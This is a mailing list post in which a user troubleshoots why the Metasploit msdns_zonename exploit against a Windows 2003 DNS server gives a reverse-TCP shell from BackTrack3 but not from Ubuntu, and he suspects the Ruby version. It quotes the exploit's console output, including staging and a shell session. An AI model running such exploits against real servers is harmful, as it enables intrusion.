Metasploit mailing list archives
Bug in Ruby?
From: dejan.rodiger at ck.t-com.hr (Dejan Rodiger)
Date: Tue, 27 May 2008 19:26:48 +0200
Hi All, I have two Metasploit installations. One is on my ubuntu 8.04 with latest patches where I installed Metasploit with svn co and svn update. The other is my BackTrack3 vmware machine with Metasploit that comes with the latest BT3 Beta iso. I was testing windows/dcerpc/msdns_zonename from my ubuntu machine. The target was Windows 2003 R2 with DNS server. When I tried to exploit, I didn't get Commad prompt, but I saw that DNS service was down on the Windows 2003 server (so it killed the service). Then I tried the same from my BT3 vmware machine and I got command prompt (windows/shell/reverse_tcp). This is ubuntu session: [*] Started reverse handler [*] Connecting to the endpoint mapper service... [*] Discovered Microsoft DNS Server RPC service on port 1028 [*] Trying target Windows 2003 Server SP1-SP2 English... [*] Binding to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0 at ncacn_ip_tcp:192.168.250.10[0] ... [*] Bound to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0 at ncacn_ip_tcp:192.168.250.10[0] ... [*] Sending exploit... [*] Error: no response from dcerpc service [*] Sending stage (501 bytes) [*] Command shell session 1 opened (192.168.250.1:4445 -> 192.168.250.10:1035) sessions -i 1 [*] Command shell session 1 closed. But I didn't got command prompt. The only difference is that from my BT3 session I got Command prompt and session was not closed. But I think this is not the only exploit that had problems on Ubuntu. I tried several. From my testing I think there is a problem in Ruby interpreter on Ubuntu. Ubuntu: ruby 1.8.6 (2007-09-24 patchlevel 111) [i486-linux] BT3: ruby 1.8.6 (2007-06-07 patchlevel 36) [i486-linux] Dejan
Current thread:
- Bug in Ruby? Dejan Rodiger (May 27)
